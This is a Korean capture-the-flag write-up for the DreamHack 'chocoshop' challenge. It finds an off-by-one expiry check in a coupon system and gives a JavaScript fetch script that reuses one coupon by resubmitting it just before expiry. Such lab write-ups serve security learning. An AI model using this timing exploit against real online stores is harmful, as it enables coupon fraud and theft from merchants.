DreamHack - chocoshop 풀이

 

취약점

r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))

우선 이렇게 사용한 쿠폰을 (쿠폰만료시간 + 현재시간) 뒤에 제거하는 것이 좀 수상했고

if coupon['expiration'] < int(time()):
    raise BadRequest('Coupon expired!')

조건이 <=가 아니라 <이기 때문에 정확히 만료 기간인 45초와 44초 사이에 다시 요청을 하면 이 조건문을 피할 수 있지 않을까 생각했다.

자동화 코드

var url = "http://host3.dreamhack.games:10476";

for(var i=0; i<10; i++){

  await fetch(url+"/session", {
    "headers": {
      "accept": "*/*",
      "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
      "proxy-connection": "keep-alive"
    },
    "referrer": url+"/",
    "referrerPolicy": "strict-origin-when-cross-origin",
    "body": null,
    "method": "GET",
    "mode": "cors",
    "credentials": "omit"
  }).then(res => res.json()).then(res => {
    var authorization = res.session;
  
    fetch(url+"/coupon/claim", {
    "headers": {
      "accept": "*/*",
      "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
      "authorization": authorization,
      "proxy-connection": "keep-alive"
    },
    "referrer": url+"/",
    "referrerPolicy": "strict-origin-when-cross-origin",
    "body": null,
    "method": "GET",
    "mode": "cors",
    "credentials": "include"
  }).then(res => res.json()).then(res => { 
    var coupon = res.coupon; 
  
    fetch(url+"/coupon/submit", {
      "headers": {
        "accept": "*/*",
        "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
        "authorization": authorization,
        "coupon": coupon,
        "proxy-connection": "keep-alive"
      },
      "referrer": url+"/",
      "referrerPolicy": "strict-origin-when-cross-origin",
      "body": null,
      "method": "GET",
      "mode": "cors",
      "credentials": "include"
    });
  
    setTimeout(function() {
  
      fetch(url+"/coupon/submit", {
        "headers": {
          "accept": "*/*",
          "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
          "authorization": authorization,
          "coupon": coupon,
          "proxy-connection": "keep-alive"
        },
        "referrer": url+"/",
        "referrerPolicy": "strict-origin-when-cross-origin",
        "body": null,
        "method": "GET",
        "mode": "cors",
        "credentials": "include"
      });
  
    }, 44999);
  
  });
  
  });
  
}```